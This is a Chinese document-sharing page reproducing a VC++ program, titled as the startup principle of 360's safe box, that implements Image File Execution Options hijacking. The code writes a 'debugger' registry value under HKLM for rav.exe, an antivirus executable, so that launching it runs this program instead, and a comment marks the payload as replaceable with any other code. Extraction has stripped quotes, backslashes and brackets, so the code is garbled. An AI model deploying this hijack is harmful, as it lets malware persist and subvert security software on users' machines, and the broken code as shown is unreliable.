《VC++实现镜像劫持(360保险箱启动原理).docx》由会员分享,可在线阅读,更多相关《VC++实现镜像劫持(360保险箱启动原理).docx(4页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。
1、VC+实现镜像劫持(360保险箱启动原理)#include stdafx.h#include #include int main(int argc, char* argv)char temp256;DWORD ret;LPCTSTR szRegKey=SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options; /定义字符串指针,保存映像劫持的键位HKEY h_KEY;if(argc!=1) /如果参数不是1个,提取第2个参数,也就是被劫持程序的路径memset(temp,0,256);strcpy(temp,ar
2、gv1); for(int i=0;istrlen(temp);i+) /将路径中的换为/,也可以换为,就是代码长了点if(tempi=)tempi=/; ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); /打开注册表中需要映像劫持的子键获得句柄if(ret=ERROR_SUCCESS)printf(open ok!n);if(ERROR_SUCCESS=RegDeleteKey(h_KEY,rav.exe) /将上面打开的子键下的rav子键删除printf(delete ok!n);RegCloseK
3、ey(h_KEY);WinExec(temp,SW_SHOW); /运行被劫持的程序elseprintf(delete failed!n);RegCloseKey(h_KEY); elseprintf(open failed!n);memset(temp,0,256);GetModuleFileName(NULL,temp,256); /得到程序自己的路径,为下面写入注册表做准备HKEY hResultKey = NULL;if (ERROR_SUCCESS = RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY
4、) /打开注册表中映像劫持的子键,获得句柄DWORD dw;ret = RegCreateKeyEx(h_KEY,rav.exe, 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw); /在上面打开的子键下创建rav子键并打开,获得句柄if (ret!=ERROR_SUCCESS)RegCloseKey(h_KEY);printf(creat failed!n);return 1;printf(creat ok!n);ret=RegSetValueEx(hResultKey,debugger,0,REG_SZ,(const BYTE *)temp,strlen(temp)+1); /在rav键上创建debugger键并设置值为本程序的路径用于映像劫持if(ret!=ERROR_SUCCESS)RegCloseKey(h_KEY);RegCloseKey(hResultKey);return 1;RegCloseKey(h_KEY);RegCloseKey(hResultKey);printf(set ok!n);MessageBox(NULL,ok!,成功!,MB_OK); /用于测试程序,可换为其他需要执行代码return 0;